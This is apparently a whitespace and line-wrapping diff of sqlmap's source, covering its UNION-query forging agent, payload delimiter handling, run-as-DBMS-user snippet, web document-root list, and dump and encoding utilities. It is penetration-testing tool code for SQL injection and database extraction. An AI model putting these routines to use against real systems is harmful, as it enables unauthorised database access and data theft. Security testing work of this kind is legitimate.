concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)),
r"\g<2>\g<1>\g<3>", concatenatedQuery)
elif fieldsSelect: elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@ -733,7 +767,8 @@ class Agent(object):
concatenatedQuery += "+'%s'" % kb.chars.stop concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop: elif fieldsSelectTop:
topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum,
"TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase: elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
@ -770,7 +805,8 @@ class Agent(object):
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()): if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery) _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "",
concatenatedQuery)
if _ != concatenatedQuery: if _ != concatenatedQuery:
concatenatedQuery = _ concatenatedQuery = _
fieldsSelectFrom = None fieldsSelectFrom = None
@ -807,7 +843,8 @@ class Agent(object):
return concatenatedQuery return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None,
limited=False, fromTable=None):
""" """
Take in input an query (pseudo query) string and return its Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query. processed UNION ALL SELECT query.
@ -1019,7 +1056,9 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:] fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (
DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID,
DBMS.EXTREMEDB, DBMS.RAIMA):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
@ -1129,7 +1168,8 @@ class Agent(object):
limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1') limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (
self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
else: else:
match = re.search(r" ORDER BY (\w+)\Z", query) match = re.search(r" ORDER BY (\w+)\Z", query)
field = match.group(1) if match else field field = match.group(1) if match else field
@ -1189,7 +1229,8 @@ class Agent(object):
if Backend.getIdentifiedDbms() is not None: if Backend.getIdentifiedDbms() is not None:
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
return caseExpression return caseExpression
@ -1222,18 +1263,22 @@ class Agent(object):
""" """
_ = re.escape(PAYLOAD_DELIMITER) _ = re.escape(PAYLOAD_DELIMITER)
return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value return re.sub(r"(?s)(%s.*?%s)" % (_, _),
("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"),
value) if value else value
def runAsDBMSUser(self, query): def runAsDBMSUser(self, query):
if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query:
query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername,
PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
return query return query
def whereQuery(self, query): def whereQuery(self, query):
if conf.dumpWhere and query: if conf.dumpWhere and query:
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere,
query), ""
else: else:
match = re.search(r" (LIMIT|ORDER).+", query, re.I) match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match: if match:
@ -1255,5 +1300,6 @@ class Agent(object):
return query return query
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@ -27,6 +27,7 @@ try:
except TypeError: except TypeError:
DEFAULT_SIZE_OF = 16 DEFAULT_SIZE_OF = 16
def _size_of(instance): def _size_of(instance):
""" """
Returns total size of a given instance / object (in bytes) Returns total size of a given instance / object (in bytes)
@ -41,6 +42,7 @@ def _size_of(instance):
return retval return retval
class Cache(object): class Cache(object):
""" """
Auxiliary class used for storing cached chunks Auxiliary class used for storing cached chunks
@ -51,6 +53,7 @@ class Cache(object):
self.data = data self.data = data
self.dirty = dirty self.dirty = dirty
class BigArray(list): class BigArray(list):
""" """
List-like class used for storing large amounts of data (disk cached) List-like class used for storing large amounts of data (disk cached)
@ -201,4 +204,5 @@ class BigArray(list):
yield self[i] yield self[i]
def __len__(self): def __len__(self):
return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(
self.chunks[-1])

File diff suppressed because it is too large Load Diff

View File

@ -17,12 +17,13 @@ import sys
import time import time
import uuid import uuid
class WichmannHill(random.Random): class WichmannHill(random.Random):
""" """
Reference: https://svn.python.org/projects/python/trunk/Lib/random.py Reference: https://svn.python.org/projects/python/trunk/Lib/random.py
""" """
VERSION = 1 # used by getstate/setstate VERSION = 1 # used by getstate/setstate
def seed(self, a=None): def seed(self, a=None):
"""Initialize internal state from hashable object. """Initialize internal state from hashable object.
@ -166,6 +167,7 @@ class WichmannHill(random.Random):
z = (z + a) % 256 or 1 z = (z + a) % 256 or 1
self.__whseed(x, y, z) self.__whseed(x, y, z)
def patchHeaders(headers): def patchHeaders(headers):
if headers is not None and not hasattr(headers, "headers"): if headers is not None and not hasattr(headers, "headers"):
if isinstance(headers, dict): if isinstance(headers, dict):
@ -189,6 +191,7 @@ def patchHeaders(headers):
return headers return headers
def cmp(a, b): def cmp(a, b):
""" """
>>> cmp("a", "b") >>> cmp("a", "b")
@ -204,6 +207,7 @@ def cmp(a, b):
else: else:
return 0 return 0
# Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py # Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py
def choose_boundary(): def choose_boundary():
""" """
@ -220,6 +224,7 @@ def choose_boundary():
return retval return retval
# Reference: http://python3porting.com/differences.html # Reference: http://python3porting.com/differences.html
def round(x, d=0): def round(x, d=0):
""" """
@ -235,9 +240,11 @@ def round(x, d=0):
else: else:
return float(math.ceil((x * p) - 0.5)) / p return float(math.ceil((x * p) - 0.5)) / p
# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ # Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/
def cmp_to_key(mycmp): def cmp_to_key(mycmp):
"""Convert a cmp= function into a key= function""" """Convert a cmp= function into a key= function"""
class K(object): class K(object):
__slots__ = ['obj'] __slots__ = ['obj']
@ -267,6 +274,7 @@ def cmp_to_key(mycmp):
return K return K
# Note: patch for Python 2.6 # Note: patch for Python 2.6
if not hasattr(functools, "cmp_to_key"): if not hasattr(functools, "cmp_to_key"):
functools.cmp_to_key = cmp_to_key functools.cmp_to_key = cmp_to_key
@ -278,6 +286,7 @@ else:
xrange = xrange xrange = xrange
buffer = buffer buffer = buffer
def LooseVersion(version): def LooseVersion(version):
""" """
>>> LooseVersion("1.0") == LooseVersion("1.0") >>> LooseVersion("1.0") == LooseVersion("1.0")

View File

@ -37,6 +37,7 @@ try:
except ImportError: except ImportError:
from cgi import escape as htmlEscape from cgi import escape as htmlEscape
def base64pickle(value): def base64pickle(value):
""" """
Serializes (with pickle) and encodes to Base64 format supplied (binary) value Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@ -61,6 +62,7 @@ def base64pickle(value):
return retVal return retVal
def base64unpickle(value): def base64unpickle(value):
""" """
Decodes value from Base64 to plain format and deserializes (with pickle) its content Decodes value from Base64 to plain format and deserializes (with pickle) its content
@ -78,6 +80,7 @@ def base64unpickle(value):
return retVal return retVal
def htmlUnescape(value): def htmlUnescape(value):
""" """
Returns (basic conversion) HTML unescaped value Returns (basic conversion) HTML unescaped value
@ -100,20 +103,25 @@ def htmlUnescape(value):
return retVal return retVal
def singleTimeWarnMessage(message): # Cross-referenced function def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message) sys.stdout.write(message)
sys.stdout.write("\n") sys.stdout.write("\n")
sys.stdout.flush() sys.stdout.flush()
def filterNone(values): # Cross-referenced function def filterNone(values): # Cross-referenced function
return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values
def isListLike(value): # Cross-referenced function def isListLike(value): # Cross-referenced function
return isinstance(value, (list, tuple, set, BigArray)) return isinstance(value, (list, tuple, set, BigArray))
def shellExec(cmd): # Cross-referenced function def shellExec(cmd): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
def jsonize(data): def jsonize(data):
""" """
Returns JSON serialized data Returns JSON serialized data
@ -124,6 +132,7 @@ def jsonize(data):
return json.dumps(data, sort_keys=False, indent=4) return json.dumps(data, sort_keys=False, indent=4)
def dejsonize(data): def dejsonize(data):
""" """
Returns JSON deserialized data Returns JSON deserialized data
@ -134,6 +143,7 @@ def dejsonize(data):
return json.loads(data) return json.loads(data)
def decodeHex(value, binary=True): def decodeHex(value, binary=True):
""" """
Returns a decoded representation of provided hexadecimal value Returns a decoded representation of provided hexadecimal value
@ -162,6 +172,7 @@ def decodeHex(value, binary=True):
return retVal return retVal
def encodeHex(value, binary=True): def encodeHex(value, binary=True):
""" """
Returns a encoded representation of provided string value Returns a encoded representation of provided string value
@ -190,6 +201,7 @@ def encodeHex(value, binary=True):
return retVal return retVal
def decodeBase64(value, binary=True, encoding=None): def decodeBase64(value, binary=True, encoding=None):
""" """
Returns a decoded representation of provided Base64 value Returns a decoded representation of provided Base64 value
@ -231,6 +243,7 @@ def decodeBase64(value, binary=True, encoding=None):
return retVal return retVal
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
""" """
Returns a decoded representation of provided Base64 value Returns a decoded representation of provided Base64 value
@ -271,6 +284,7 @@ def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
return retVal return retVal
def getBytes(value, encoding=None, errors="strict", unsafe=True): def getBytes(value, encoding=None, errors="strict", unsafe=True):
""" """
Returns byte representation of provided Unicode value Returns byte representation of provided Unicode value
@ -310,6 +324,7 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
return retVal return retVal
def getOrds(value): def getOrds(value):
""" """
Returns ORD(...) representation of provided string value Returns ORD(...) representation of provided string value
@ -322,6 +337,7 @@ def getOrds(value):
return [_ if isinstance(_, int) else ord(_) for _ in value] return [_ if isinstance(_, int) else ord(_) for _ in value]
def getUnicode(value, encoding=None, noneToNull=False): def getUnicode(value, encoding=None, noneToNull=False):
""" """
Returns the unicode representation of the supplied value Returns the unicode representation of the supplied value
@ -341,13 +357,18 @@ def getUnicode(value, encoding=None, noneToNull=False):
return value return value
elif isinstance(value, six.binary_type): elif isinstance(value, six.binary_type):
# Heuristics (if encoding not explicitly specified) # Heuristics (if encoding not explicitly specified)
candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None,
conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding()))
if all(_ in value for _ in (b'<', b'>')): if all(_ in value for _ in (b'<', b'>')):
pass pass
elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value: elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value:
candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) candidates = filterNone((encoding, sys.getfilesystemencoding(),
kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING,
conf.get("encoding")))
elif conf.get("encoding") and b'\n' not in value: elif conf.get("encoding") and b'\n' not in value:
candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) candidates = filterNone((encoding, conf.get("encoding"),
kb.get("pageEncoding") if kb.get("originalPage") else None,
sys.getfilesystemencoding(), UNICODE_ENCODING))
for candidate in candidates: for candidate in candidates:
try: try:
@ -356,7 +377,8 @@ def getUnicode(value, encoding=None, noneToNull=False):
pass pass
try: try:
return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) return six.text_type(value, encoding or (
kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
except UnicodeDecodeError: except UnicodeDecodeError:
return six.text_type(value, UNICODE_ENCODING, errors="reversible") return six.text_type(value, UNICODE_ENCODING, errors="reversible")
elif isListLike(value): elif isListLike(value):
@ -368,6 +390,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
except UnicodeDecodeError: except UnicodeDecodeError:
return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances
def getText(value, encoding=None): def getText(value, encoding=None):
""" """
Returns textual value of a given value (Note: not necessary Unicode on Python2) Returns textual value of a given value (Note: not necessary Unicode on Python2)
@ -391,6 +414,7 @@ def getText(value, encoding=None):
return retVal return retVal
def stdoutEncode(value): def stdoutEncode(value):
""" """
Returns binary representation of a given Unicode value safe for writing to stdout Returns binary representation of a given Unicode value safe for writing to stdout
@ -439,6 +463,7 @@ def stdoutEncode(value):
return retVal return retVal
def getConsoleLength(value): def getConsoleLength(value):
""" """
Returns console width of unicode values Returns console width of unicode values

View File

@ -11,6 +11,7 @@ import types
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import collections_abc as _collections
class AttribDict(dict): class AttribDict(dict):
""" """
This class defines the dictionary with added capability to access members as attributes This class defines the dictionary with added capability to access members as attributes
@ -87,6 +88,7 @@ class AttribDict(dict):
return retVal return retVal
class InjectionDict(AttribDict): class InjectionDict(AttribDict):
def __init__(self): def __init__(self):
AttribDict.__init__(self) AttribDict.__init__(self)
@ -111,6 +113,7 @@ class InjectionDict(AttribDict):
self.dbms_version = None self.dbms_version = None
self.os = None self.os = None
# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python # Reference: https://www.kunxi.org/2014/05/lru-cache-in-python
class LRUDict(object): class LRUDict(object):
""" """
@ -158,6 +161,7 @@ class LRUDict(object):
def keys(self): def keys(self):
return self.cache.keys() return self.cache.keys()
# Reference: https://code.activestate.com/recipes/576694/ # Reference: https://code.activestate.com/recipes/576694/
class OrderedSet(_collections.MutableSet): class OrderedSet(_collections.MutableSet):
""" """
@ -177,8 +181,8 @@ class OrderedSet(_collections.MutableSet):
def __init__(self, iterable=None): def __init__(self, iterable=None):
self.end = end = [] self.end = end = []
end += [None, end, end] # sentinel node for doubly linked list end += [None, end, end] # sentinel node for doubly linked list
self.map = {} # key --> [key, prev, next] self.map = {} # key --> [key, prev, next]
if iterable is not None: if iterable is not None:
self |= iterable self |= iterable

View File

@ -18,6 +18,7 @@ _cache = {}
_cache_lock = threading.Lock() _cache_lock = threading.Lock()
_method_locks = {} _method_locks = {}
def cachedmethod(f): def cachedmethod(f):
""" """
Method with a cached content Method with a cached content
@ -42,7 +43,8 @@ def cachedmethod(f):
@functools.wraps(f) @functools.wraps(f)
def _f(*args, **kwargs): def _f(*args, **kwargs):
try: try:
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(),
16) & 0x7fffffffffffffff
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
result = f(*args, **kwargs) result = f(*args, **kwargs)
else: else:
@ -59,6 +61,7 @@ def cachedmethod(f):
return _f return _f
def stackedmethod(f): def stackedmethod(f):
""" """
Method using pushValue/popValue functions (fallback function for stack realignment) Method using pushValue/popValue functions (fallback function for stack realignment)
@ -86,6 +89,7 @@ def stackedmethod(f):
return _ return _
def lockedmethod(f): def lockedmethod(f):
@functools.wraps(f) @functools.wraps(f)
def _(*args, **kwargs): def _(*args, **kwargs):

View File

@ -231,19 +231,22 @@ DBMS_DICT = {
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype",
"https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
DBMS.H2: (H2_ALIASES, None, None, None), DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), DBMS.VERTICA: (
VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype",
"https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
@ -383,7 +386,9 @@ DUMP_DATA_PREPROCESS = {
DEFAULT_DOC_ROOTS = { DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data",
"/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www")
# Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
} }
PART_RUN_CONTENT_TYPES = { PART_RUN_CONTENT_TYPES = {

View File

@ -59,6 +59,7 @@ from lib.utils.safe2bin import safechardecode
from thirdparty import six from thirdparty import six
from thirdparty.magic import magic from thirdparty.magic import magic
class Dump(object): class Dump(object):
""" """
This class defines methods used to parse and output the results This class defines methods used to parse and output the results
@ -174,10 +175,14 @@ class Dump(object):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data): def currentDb(self, data):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): if Backend.getIdentifiedDbms() in (
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE,
DBMS.FRONTBASE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data,
content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data,
content_type=CONTENT_TYPE.CURRENT_DB)
else: else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@ -253,7 +258,8 @@ class Dump(object):
for db, tables in dbTables.items(): for db, tables in dbTables.items():
tables = sorted(filter(None, tables)) tables = sorted(filter(None, tables))
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>") self._write("Database: %s" % unsafeSQLIdentificatorNaming(
db) if db and METADB_SUFFIX not in db else "<current>")
if len(tables) == 1: if len(tables) == 1:
self._write("[1 table]") self._write("[1 table]")
@ -308,7 +314,9 @@ class Dump(object):
maxlength2 = max(maxlength2, len("TYPE")) maxlength2 = max(maxlength2, len("TYPE"))
lines2 = "-" * (maxlength2 + 2) lines2 = "-" * (maxlength2 + 2)
self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>", unsafeSQLIdentificatorNaming(table))) self._write("Database: %s\nTable: %s" % (
unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>",
unsafeSQLIdentificatorNaming(table)))
if len(columns) == 1: if len(columns) == 1:
self._write("[1 column]") self._write("[1 column]")
@ -363,7 +371,8 @@ class Dump(object):
maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
for db, counts in dbTables.items(): for db, counts in dbTables.items():
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>") self._write("Database: %s" % unsafeSQLIdentificatorNaming(
db) if db and METADB_SUFFIX not in db else "<current>")
lines1 = "-" * (maxlength1 + 2) lines1 = "-" * (maxlength1 + 2)
blank1 = " " * (maxlength1 - len("Table")) blank1 = " " * (maxlength1 - len("Table"))
@ -449,7 +458,10 @@ class Dump(object):
dumpDbPath = tempDir dumpDbPath = tempDir
dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT,
"%s.%s" % (
unsafeSQLIdentificatorNaming(table),
conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False): if not checkFile(dumpFileName, False):
try: try:
openFile(dumpFileName, "w+b").close() openFile(dumpFileName, "w+b").close()
@ -458,10 +470,12 @@ class Dump(object):
except: except:
warnFile = True warnFile = True
